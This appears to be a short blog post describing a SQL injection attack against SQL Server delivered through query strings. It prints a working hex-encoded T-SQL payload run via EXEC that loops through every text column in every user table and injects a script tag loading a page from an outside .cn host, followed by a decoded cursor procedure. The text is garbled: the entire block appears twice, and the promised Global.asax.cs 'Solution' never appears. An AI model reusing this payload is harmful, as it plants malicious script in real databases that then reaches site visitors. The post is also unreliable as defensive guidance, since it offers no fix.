Normally who want’s inject the unwanted data in to your sql server. They will do using querystring.
In the place of querystring they will below code.
DECLARE @S CHAR(4000);
SET @S=CAST(0x4445434C41524520405420766172636861
7228323535292C40432076617263686172283430303
029204445434C415245205461626C655F437572736F7
220435552534F5220464F522073656C65637420612E6E616
D652C622E6E616D652066726F6D207379736F626A6563747
320612C737973636F6C756D6E73206220776865726520612E
69643D622E696420616E6420612E78747970653D277527
20616E642028622E78747970653D3939206F7220622E78
747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E20546162
6C655F437572736F72204645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D
3D2727223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F777777332E73733131716E2E6
36E2F63737273732F6E65772E68746D223E3C2F736372
6970743E3C212D2D27272B5B272B40432B275D207768
65726520272B40432B27206E6F74206C696B652027272
5223E3C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F777777332E73733131716E2E636E2F6
3737273732F6E65772E68746D223E3C2F73637269707
43E3C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E544F20
40542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C6
55F437572736F72 AS CHAR(4000));
print @S
EXEC(@S);
The above code internally will execute below storeproecedure.
You can see below Store Procedure. It’ trying to up date sys tables and object.
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update ['+@T+'] set ['+@C+']=””><!–''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
========================================================================
Solution:
Use below code Global.asax.cs file.
In the place of querystring they will below code.
DECLARE @S CHAR(4000);
SET @S=CAST(0x4445434C41524520405420766172636861
7228323535292C40432076617263686172283430303
029204445434C415245205461626C655F437572736F7
220435552534F5220464F522073656C65637420612E6E616
D652C622E6E616D652066726F6D207379736F626A6563747
320612C737973636F6C756D6E73206220776865726520612E
69643D622E696420616E6420612E78747970653D277527
20616E642028622E78747970653D3939206F7220622E78
747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E20546162
6C655F437572736F72204645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D
3D2727223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F777777332E73733131716E2E6
36E2F63737273732F6E65772E68746D223E3C2F736372
6970743E3C212D2D27272B5B272B40432B275D207768
65726520272B40432B27206E6F74206C696B652027272
5223E3C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F777777332E73733131716E2E636E2F6
3737273732F6E65772E68746D223E3C2F73637269707
43E3C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E544F20
40542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C6
55F437572736F72 AS CHAR(4000));
print @S
EXEC(@S);
The above code internally will execute below storeproecedure.
You can see below Store Procedure. It’ trying to up date sys tables and object.
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update ['+@T+'] set ['+@C+']=””><!–''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
========================================================================
Solution:
Use below code Global.asax.cs file.